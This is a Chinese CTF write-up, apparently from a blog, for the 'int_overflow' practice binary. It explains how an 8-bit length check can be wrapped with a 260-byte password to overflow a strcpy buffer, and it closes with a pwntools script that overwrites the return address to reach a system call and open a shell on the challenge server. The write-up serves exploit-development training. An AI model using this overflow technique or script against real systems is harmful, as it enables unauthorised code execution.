int_overflow--writeup

文件下载地址:

链接:https://pan.baidu.com/s/1RiL_dBXGdIRsz76Nw0Mj2w
提取码:s8sy

目录

0x01.分析

checksec:

看下源码:

 理清一下流程:

寻找一下漏洞:

利用漏洞攻击:

0x02.exp


0x01.分析

checksec:

32位程序,开启了NX。

看下源码:

 

 理清一下流程:

  1. 首先选择1或2,选1登陆。
  2. 登陆函数中,首先输入名字。
  3. 然后输入密码。
  4. 返回到密码检查函数,检查密码的长度,不在(4,8)内直接退出。
  5. 在这个范围内,使用了strcpy函数赋值密码到dest,然后返回。
  6. 发现源码中有直接调用system的函数,但程序本身没有调用。

寻找一下漏洞:

  1. 首先查看两个read函数,buf分配的空间都比实际read读入的要大,没有漏洞。
  2. strcpy函数的dest只有0x14,但s最多有0x199,存在栈溢出。
  3. 然后检查s的来源,发现来自第二个read。
  4. 继续查看检查函数的源码发现,对read读入的字符串s有一个长度的限制,不能超出8。
  5. 这样的话,暂时无法直接从read读大串字符从strcpy溢出。
  6. s的长度最终给了v3,是通过v3进行长度的判断,我们查看一下v3。
  7. 发现v3是8位无符号整数,则最大只能是255。
  8. read函数的长度是0x199,远大于255。
  9. 发现可以使用整型溢出。

利用漏洞攻击:

  1. 要使得v3的值是(4,8),利用整型溢出,我们可以使得read读入长度为(260,264)。
  2. 这样溢出后,v3的值刚好在范围内。
  3. 先确定一下strcpy处的偏移:

    4.偏移量为0x14+4。

    5.查看system的地址:

地址为:0x0804868B

    6.可以开始编写攻击脚本。

0x02.exp

##!/usr/bin/env python
from pwn import*

#r=process('./int_overflow')
r=remote("111.198.29.45",48613)

system_adr=0x0804868B
payload=(0x14+4)*'A'+p32(system_adr)
payload+=(260-len(payload))*'A'

r.recvuntil("choice:")
r.sendline('1')
r.recvuntil("username:")
r.sendline("atfwus")
r.recvuntil("passwd:")
r.sendline(payload)
r.interactive()

发布了89 篇原创文章 · 获赞 98 · 访问量 8942

猜你喜欢

转载自blog.csdn.net/ATFWUS/article/details/104608696
int